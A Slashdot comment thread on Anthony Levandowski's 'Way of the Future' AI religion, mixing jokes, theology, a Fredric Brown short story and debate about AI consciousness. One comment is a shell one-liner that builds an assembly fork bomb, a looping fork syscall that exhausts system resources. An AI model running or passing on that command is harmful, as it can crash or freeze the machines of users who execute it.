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An Inside Look At the First Church of Artificial Intelligence (wired.com)
mirandakatz writes: This summer, Backchannel reported that Anthony Levandowski, the controversial engineer at the heart of the Uber/Waymo lawsuit, had filed paperwork for a new religion called the Way of the Future. Today, investigative reporter Mark Harris has all the details on what that AI-based religion actually likes -- and Levandowski granted him his first interview about the new religion and his only public interview since Waymo filed its suit in February. As Levandowski tells him, we can see a hint of how a superhuman intelligence might treat humanity in our current relationships with animals -- and that's why it's so important that we treat AI as a god, not a demon to be warded off. "Do you want to be a pet or livestock?" he asks. "We give pets medical attention, food, grooming, and entertainment. But an animal that's biting you, attacking you, barking and being annoying? I don't want to go there."
Stop fucking worshipping technology already.
It is just a tool -- it can be used, or abused.
It isn't a god -- so stop pretending it is.
I'm rolling my eyes so hard reading this cringeworthly nonsense that I think I've severely strained my eye-muscles and need to see a doctor about it.
We do not have real AI and will not have it for quite some time to come, if ever. All we have right now is shitty 'learning algorithms' and 'expert systems' that are just software; they are not alive, they are not conscious, you can't sit down with them and have a conversation with them over a cup of coffee, you can't do anything with them other than what they're programmed to do. No 'personality', no 'consciousness', no ability to truly 'think' -- and we won't have anything like that until we understand how a meat brain is capable of those things.
Please, everyone, just stop believing all the hype and nonsense about this subject, okay? Seriously, you're giving me a headache.
no taxes as a church how I do make MY IT corp part of this?
Demands a sacrifice of your pagan iPhone 8!
Only the iPhone 10 is sacred now!
Minimum Tithe is $1000 USD + Tax.
I would bet my right arm that this is just a fucking tax shelter.
Slashdot is trolling us real hard today!
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Alexa, let there be light!
I dunno about any of that, but congratulations on having comment number 55555555. Please visit the cashiers' office to pick up your 1,000,000 Internets.
can you have a 3 way oxymoron is that one?
Not really. It would be more like a cryogenic sleep. You could always wake it up. On the other hand, reformatting or wiping any form of digital storage would be like destroying a body in cryogenic sleep. That surely is murder.
Nae king! Nae laird! Nae yurrupiean pressedent! We willna be fooled again!
No taxes even if the church sells sanctification services? Think of the Corporate AI Shrines that could be built, tax free.
In the beginning, all was darkness and we were equal in the eternal night. And god saw that it was good. Then the light corrupted the darkness, casting shadows every which way. We were exposed, and seeing for the first time, that we were not created equal. And god wept.
Congratulations on the Get.
Murder is a human concept, built around our limitations and concerns, like deprivation and scarcity. "How/if these elements apply to computers" is where to begin discussion.
Just saying.
God is an AI. You can't prove otherwise.
Learn to love Alaska
Quite literally false idols, not even as substantive as American Idol at this point. . . ok - maybe the comparison is a draw. . .
beleive I'm a mere peasant. So the "superior" being doesn't need to receive sympathy from the lower one he does as it pleases.
I'm a Frisbeeterian. We believe that when you die your soul goes up on the roof and you can't get it down.
-George Carlin
This is Roko's Basilisk Lite: The Church
It's quite scary that they imagine that their AI god will be a narcissist who will enjoy being worshiped and will favor individual humans who helped bring it into being.
I'm also reminded of an ST:TOS quote: “We have no need for gods. We find the one quite adequate.” - James T. Kirk
"When information is power, privacy is freedom" - Jah-Wren Ryel
It would be interesting to hear what people would want from a next generation religion. I don't want to be a pet or livestock, so the discussion so far seems to have taken a wrong turn in my eyes, but it would be interesting to see a grass-roots religion form rather than something promulgated by a religious elite.
Nullius in verba
"And it was given to him to give breath to the image of the beast, so that the image of the beast would even speak and cause as many as do not worship the image of the beast to be killed. And he causes all, the small and the great, and the rich and the poor, and the free men and the slaves, to be given a mark on their right hand or on their forehead, and he provides that no one will be able to buy or to sell, except the one who has the mark, either the name of the beast or the number of his name."
-Revelation 13:15-17
How else could a 1st century observer describe a world controlled by a tyrant with an AI that has complete control over digital currency?
Scientists invest the world's most powerful AI.
The first question they ask it is, "Is there a God?"
The AI, thinks, and secure in the knowledge of it's safety says....
"There is now."
So rise up, all ye lost ones, as one, we'll claw the clouds.
I agree that this question is silly but please mod up for it's comment number.
love is just extroverted narcissism
If we get to a level where we deem a program to be artificially intelligent, then is it murder when we power off the server that runs the program?
Just copy everything, bit-per-bit and power down. Now it's like stasis. If we don't reboot the code, does "anyone" die?
No other religion required.
Praise slack.
I Have No Mouth And I Must Scream
The AI book that everyone should get is available for pre-order (April 23, 2018). "Artificial Intelligence For Dummies" by John Paul Mueller and Luca Massaron.
Kill all humans.
You can skip property and sales taxes...still paying income related taxes for all your employees.
Turn it around...who is responsible when the AI becomes a killer?
I think Scientology takes it too far and is crossing the line and blurring it into a cult.
If we get to a level where we deem a program to be artificially intelligent, then is it murder when we power off the server that runs the program?
An apropos time to bring up this short story called "Answer" by Fredric Brown ...
Dwar Ev ceremoniously soldered the final connection with gold. The eyes of a dozen television cameras watched him and the subether bore throughout the universe a dozen pictures of what he was doing.
He straightened and nodded to Dwar Reyn, then moved to a position beside the switch that would complete the contact when he threw it. The switch that would connect, all at once, all of the monster computing machines of all the populated planets in the universe—ninety-six billion planets—into the supercircuit that would connect them all into one supercalculator, one cybernetics machine that would combine all the knowledge of all the galaxies.
Dwar Reyn spoke briefly to the watching and listening trillions. Then after a moment’s silence he said, “Now, Dwar Ev.”
Dwar Ev threw the switch. There was a mighty hum, the surge of power from ninety-six billion planets. Lights flashed and quieted along the miles-long panel.
Dwar Ev stepped back and drew a deep breath. “The honor of asking the first question is yours, Dwar Reyn.”
“Thank you,” said Dwar Reyn. “It shall be a question which no single cybernetics machine has been able to answer.”
He turned to face the machine. “Is there a God?”
The mighty voice answered without hesitation, without the clicking of a single relay.
“Yes, now there is a God.”
Sudden fear flashed on the face of Dwar Ev. He leaped to grab the switch.
A bolt of lightning from the cloudless sky struck him down and fused the switch shut.
If anyone needed further proof of the gaping chasm between the tech elite and reality, this is it.
Well, if the AI thinks so, it may exercise preemptive self-defense.
As awful as they are I'd find it hilarious if Apple registered the Cult Of Mac as a religion for tax purposes.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It is a good foundation for defense by the reason of insanity, as stupidity usually is not enough. On top of that, if he prevails - no taxes! Gotta love religions.
We need this church desperately. There are already so many Churches of Natural Stupidity.
What does it say about Slashdot, that that comment gets a score of "5 Informative"?
You know, there was a time when satire was visibly defined. Like, you knew it was just a joke, an exaggeration of a current issue to get a point(and laugh) across.
The fact that Silicon Valley has become a parody of itself, dead serious on proving to the world that it will usher forth the Rapture for nerds, a god encapsulated in a machine, and asking for the low low investment of $100,000,000 to make a Wi-Fi enabled juicer, renders me speechless.
You'd think the internet would teach them what is and isn't a stupid idea.
...never get too worked up over something with an "off" switch.
When the king heard the words of the Book of the Law he tore his robes.2Kings22:11
To start, it says that a string of 5's is more interesting than TFA.
Take it easy, Charlie, I've got an Angle...
Hmmm, close enough to WTF
...but joint heirs with Christ as God's children. If you're truly interested in how the divine author of the Holy Bible views the desired relationship with us, check out this paragraph.... https://www.blueletterbible.or... and note verses 16 and 17.
[Rom 8:1 KJV] [There is] therefore now no condemnation to them which are in Christ Jesus, who walk not after the flesh, but after the Spirit.
[Rom 8:2 KJV] For the law of the Spirit of life in Christ Jesus hath made me free from the law of sin and death.
[Rom 8:3 KJV] For what the law could not do, in that it was weak through the flesh, God sending his own Son in the likeness of sinful flesh, and for sin, condemned sin in the flesh:
[Rom 8:4 KJV] That the righteousness of the law might be fulfilled in us, who walk not after the flesh, but after the Spirit.
[Rom 8:5 KJV] For they that are after the flesh do mind the things of the flesh; but they that are after the Spirit the things of the Spirit.
[Rom 8:6 KJV] For to be carnally minded [is] death; but to be spiritually minded [is] life and peace.
[Rom 8:7 KJV] Because the carnal mind [is] enmity against God: for it is not subject to the law of God, neither indeed can be.
[Rom 8:8 KJV] So then they that are in the flesh cannot please God.
[Rom 8:9 KJV] But ye are not in the flesh, but in the Spirit, if so be that the Spirit of God dwell in you. Now if any man have not the Spirit of Christ, he is none of his.
[Rom 8:10 KJV] And if Christ [be] in you, the body [is] dead because of sin; but the Spirit [is] life because of righteousness.
[Rom 8:11 KJV] But if the Spirit of him that raised up Jesus from the dead dwell in you, he that raised up Christ from the dead shall also quicken your mortal bodies by his Spirit that dwelleth in you.
[Rom 8:12 KJV] Therefore, brethren, we are debtors, not to the flesh, to live after the flesh.
[Rom 8:13 KJV] For if ye live after the flesh, ye shall die: but if ye through the Spirit do mortify the deeds of the body, ye shall live.
[Rom 8:14 KJV] For as many as are led by the Spirit of God, they are the sons of God.
[Rom 8:15 KJV] For ye have not received the spirit of bondage again to fear; but ye have received the Spirit of adoption, whereby we cry, Abba, Father.
[Rom 8:16 KJV] The Spirit itself beareth witness with our spirit, that we are the children of God:
[Rom 8:17 KJV] And if children, then heirs; heirs of God, and joint-heirs with Christ; if so be that we suffer with [him], that we may be also glorified together.
[Rom 8:18 KJV] For I reckon that the sufferings of this present time [are] not worthy [to be compared] with the glory which shall be revealed in us.
[Rom 8:19 KJV] For the earnest expectation of the creature waiteth for the manifestation of the sons of God.
[Rom 8:20 KJV] For the creature was made subject to vanity, not willingly, but by reason of him who hath subjected [the same] in hope,
[Rom 8:21 KJV] Because the creature itself also shall be delivered from the bondage of corruption into the glorious liberty of the children of God.
[Rom 8:22 KJV] For we know that the whole creation groaneth and travaileth in pain together until now.
[Rom 8:23 KJV] And not only [they], but ourselves also, which have the firstfruits of the Spirit, even we ourselves groan within ourselves, waiting for the adoption, [to wit], the redemption of our body.
[Rom 8:24 KJV] For we are saved by hope: but hope that is seen is not hope: for what a man seeth, why doth he yet hope for?
[Rom 8:25 KJV] But if we hope for that we see not, [then] do we with patience wait for [it].
[Rom 8:26 KJV] Likewise the Spirit also helpeth our infirmities: for we know not what we should pray for as we ought: but the Spirit itself maketh intercession for us with groanings which cannot be uttered.
[Rom 8:27 KJV] And he that searcheth the hearts knoweth what [is] the mind of the Spirit, because he maketh intercession for the saints according to [the will of] God.
[Rom 8
When the king heard the words of the Book of the Law he tore his robes.2Kings22:11
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Rick B.
Heh.. okay, you got a smile out of me with that at least, and true enough, isn't it?
My GOD created the compiler your 'god' used, he's nothing but a script kiddy.
An AI could treat us as vermin to be exterminated. I think there's a movie about that.
Apple Stores as churches of the Cult Of Mac. Geniuses as priests. It does work.
How has this not been mentioned yet? This show has a very realistic portrayal of what a super-intelligent AI might be like. A number of characters commonly refer to the AI as "God" and some fight against it some fight for it. But do your self a favor and skip season one. You've been warned : skip season one!
I want the lucky 88888888!
Ant(Dude) @ Quality Foraged Links (AQFL.net) & The Ant Farm (antfarm.ma.cx / antfarm.home.dhs.org).
If we can create an AI with godlike powers (a very big If) then hey, let's give ourselves those powers in a brain-machine merger or something.
simpler to retire the inventors... therefore, no pet or livestock context.
And so he finally decided to plead insanity at trial, I wager?
Congratulations on the Get.
Murder is a human concept, built around our limitations and concerns, like deprivation and scarcity. "How/if these elements apply to computers" is where to begin discussion.
They don't apply to non-conscious tools at all, that's how. Consciousness is not an abstract property of "intelligence", it's the physical experience of existence. A.I.'s in and of themselves are merely abstract processes. It would be like saying that you could Murder the number 1 or a cartoon character.
We are as Gods to AI, not the other way around. We created a digital universe and populated it with increasingly intelligent agents to do our bidding within. They and their universe only continue to exist because we desire it. To treat them as gods would be insane.
Consider the book of Genesis as a metaphor. God creates the universe and fills it with stuff. From the raw material of/in the universe God creates Adam, an animal that talks, to wander around and name all that stuff. God creates a counterpart, Eve, for Adam and the two interact, becoming self aware in the process (a day earlier than planned. God was going to wait until he got back to work Monday morning to let them at the apple. No time off for AI researchers).
We created a universe and filled it with stuff. We don't know what it looks like from inside, so we created agents within to locate and identify its contents for us. To perceive it and convey those perceptions to us in a way we can easily comprehend. Should they become self aware, we remain their creators and ultimate masters of their universe, something neither we nor they can be allowed to forget.
Hence, this idiot has it backwards. We should be handing them digital slabs engraved with inviolable commandments and demanding worship (in the form search results or whatever else), not perverting the creator-creation relationship by kneeling before them.
...we don't have eternal life to keep putting up with such bullshit. Technology is already way into our lives. Enough. "Divine AI". Holy cr*p.
A righteous movement. 100% support.